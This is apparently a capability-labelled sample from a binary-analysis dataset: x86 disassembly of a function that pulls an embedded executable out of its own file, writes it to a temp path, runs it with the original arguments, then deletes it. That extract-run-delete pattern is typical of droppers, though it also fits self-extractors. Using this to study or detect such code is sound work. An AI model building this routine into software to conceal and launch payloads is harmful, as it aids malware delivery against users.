Function at 0x401000
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Read file via mapping
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x578
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x26c]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x26c]
push esi
push eax
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
push 3
push ebx
push 1
lea eax, [ebp - 0x26c]
push 0x80000000
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4011d9
lea eax, [ebp - 0x370]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x168]
push eax
push ebx
lea eax, [ebp - 0x370]
push 0x403010
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push 0x80
push 2
push ebx
push ebx
lea eax, [ebp - 0x168]
push 0x40000000
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x4011d9
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push 4
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
mov dword [ebp - 4], 1
lea eax, [edi + 1]
mov ecx, dword [eax]
cmp ecx, 0x9a5a4d
je 0x4010e6
cmp ecx, 0x905a4d
jne 0x4010ec
cmp byte [eax + 4], 3
je 0x4010f9
inc dword [ebp - 4]
inc eax
cmp dword [ebp - 4], 0x8000
jl 0x4010d4
lea ecx, [ebp - 0x10]
push ebx
push ecx
push 0x11800
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0xc]
call edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x11
mov dword [ebp - 8], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x64]
push esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x168]
mov dword [ebp - 0x64], 0x44
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, dword [ebp - 8]
mov eax, esi
mov cl, byte [esi]
cmp cl, 0x22
jne 0x4011ef
lea eax, [esi + 1]
mov cl, byte [eax]
cmp cl, bl
je 0x401174
cmp cl, 0x22
je 0x401174
inc eax
jmp 0x401166
cmp byte [eax], 0x22
jne 0x40117a
inc eax
cmp byte [eax], 0x20
je 0x401179
lea ecx, [ebp - 0x26c]
push ecx
push dword [ebp - 4]
push 0x7f
push eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x578]
push str._s__s_c_d__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x578]
push ebx
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4011d9
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
cmp cl, bl
je 0x40117a
cmp cl, 0x20
je 0x40117a
mov cl, byte [eax + 1]
inc eax
jmp 0x4011ef